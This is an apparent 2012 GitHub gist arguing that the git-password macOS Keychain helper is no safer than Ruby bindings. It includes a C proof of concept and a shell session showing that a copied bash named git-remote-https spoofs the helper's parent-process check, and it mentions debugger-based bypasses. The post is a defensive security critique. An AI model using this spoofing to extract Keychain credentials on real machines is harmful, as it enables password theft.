Skip to content

Instantly share code, notes, and snippets.

@tmaher
Created November 20, 2012 07:52
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save tmaher/4116645 to your computer and use it in GitHub Desktop.
why git-password is no more secure than direct ruby bindings to Keychain

http://samuel.kadolph.com/2011/03/store-your-git-https-passwords-in-your-os-x-keychain/

Abstract (what the kids these days call "tl;dr"): Attempting to prevent malicious code, executing under your account, from reading your MacOS Keychain passwords is doomed to failure and will result in pointless UX inconvenience. Solution: Don't execute malicious code.

I'm greatly appreciative of Mr. Kadolph's git-password helper program. Requiring people to repeatedly enter their password is a wretched idea. Aside from the horrible user experience, it discourages the use of high-random passwords (e.g., dd if=/dev/urandom bs=16 count=1 | openssl base64). LastPass's excellent password generator uses approximately this technique, as do I personally. If actually typing my github password is a rare event, and the password isn't something I can memorize, then the odds of my being phished or it getting spied on by a keystroke logger are markedly reduced.

In the explanation for why he chose to implement it in C, he rightly points out that using native C bindings from Ruby would result in any Ruby script being able to recover the password without triggering the Allow/Deny dialog box. However, I take issue with assertion that the native C helper binary is any safer.

Below is a proof-of-concept on how you'd recovery it. git-password-bypass.c isn't that magical - it's just a cribbing of his is_git_calling_us() function with some extra code. The thing to note is that the magic data structure kinfo_proc.p_comm simply contains the filename that the parent process was exec()'d from. A simple cp /bin/bash ./git-remote-https will result in a copy of bash with a p_comm name of "git-remote-https". Based on testing, exec()'ing a symlink will yield the name of the target file, but a hardlink will have the same masquerading property as the cp.

This isn't the only immediate bypass. One can also imagine a malicious script (ruby, bash, or otherwise) using gdb or another debugger to invoke the legit-for-realzies git-remote-https binary. The attacker can then simply step through line-by-line until the password has been read back from git-password, and then proceed to access your precious bodily fluids^W^Wrepos.

While Apple does provide a mechanism for processes to opt-out of debugger inspection (man ptrace and see PT_DENY_ATTACH), this unfortunately doesn't provide a lot of defense. See http://www.scsc.no/blog/2011/07-28-running-itunes-in-a-debugger-gdb.html for an example of how to bypass iTunes's attempt to wrap a Harry Potter-style Cloak of Invisibility about itself.

In my experience, once an attacker has the ability to execute arbitrary code on a *nix host, it is exceptionally difficult to prevent it from (in the words of my government's FAA) tampering with, disabling, or destroying other processes running as the same user. If your threat model is that you distrust "any ruby script" on your host, then the solution is to be very picky about which ruby scripts you use.

EDIT: This isn't to say I think Keychain is worthless - far from it. When it comes to protecting against backup leakage or arbitrary file traversal bugs that are short of arbitrary code execution, Keychain is a wonderful solution. I desperately wish that Microsoft's DPAPI had half the tooling around it. And don't get me started on the kwallet/Gnome Keyring pile of stupid.

tm@hoegaarden:~/git-password-bypass$ cat git-password-bypass.c
#include <pwd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/sysctl.h>
#include <unistd.h>
char UNKNOWN[] = "I DON'T KNOW";
char BUFF[1024];
static void fatal(const char * message, FILE * terminal)
{
char * fatal;
asprintf(&fatal, "fatal: %s\n", message);
fputs(fatal, terminal);
exit(-1);
}
static int is_git_calling_us(FILE * terminal)
{
int name[] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL };
pid_t parent_pid = getppid();
struct kinfo_proc * processes = NULL;
size_t size = 0;
if (sysctl(name, 3, NULL, &size, NULL, 0) != 0) fatal("sysctl failed", terminal);
if ((processes = malloc(size)) == NULL) fatal("unable to allocate memory", terminal);
if (sysctl(name, 3, processes, &size, NULL, 0) != 0) fatal("sysctl failed", terminal);
for (int i = 0; i < size / sizeof(struct kinfo_proc); i++)
{
struct extern_proc process = processes[i].kp_proc;
if (parent_pid == process.p_pid && strcmp(process.p_comm, "git-remote-https") == 0) return 1;
}
return 0;
}
char * being_called_by(FILE * terminal)
{
int name[] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL };
pid_t parent_pid = getppid();
struct kinfo_proc * processes = NULL;
size_t size = 0;
if (sysctl(name, 3, NULL, &size, NULL, 0) != 0)
fatal("sysctl failed", terminal);
if ((processes = malloc(size)) == NULL)
fatal("unable to allocate memory", terminal);
if (sysctl(name, 3, processes, &size, NULL, 0) != 0)
fatal("sysctl failed", terminal);
for (int i = 0; i < size / sizeof(struct kinfo_proc); i++){
struct extern_proc process = processes[i].kp_proc;
if (parent_pid == process.p_pid){
strncpy(BUFF, process.p_comm, 1023);
return BUFF;
}
}
return UNKNOWN;
}
int main(int argc, char **argv){
FILE * terminal = fdopen(2, "r+");
printf("called by: %s\n", being_called_by(terminal));
printf("is git calling us?: %d\n", is_git_calling_us(terminal));
return 0;
}
tm@hoegaarden:~/git-password-bypass$ cp /bin/bash ./git-remote-https
tm@hoegaarden:~/git-password-bypass$ cat wrapper.sh
#!./git-remote-https
./git-password-bypass
tm@hoegaarden:~/git-password-bypass$ cc -o git-password-bypass git-password-bypass.c
tm@hoegaarden:~/git-password-bypass$ ./wrapper.sh
called by: git-remote-https
is git calling us?: 1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment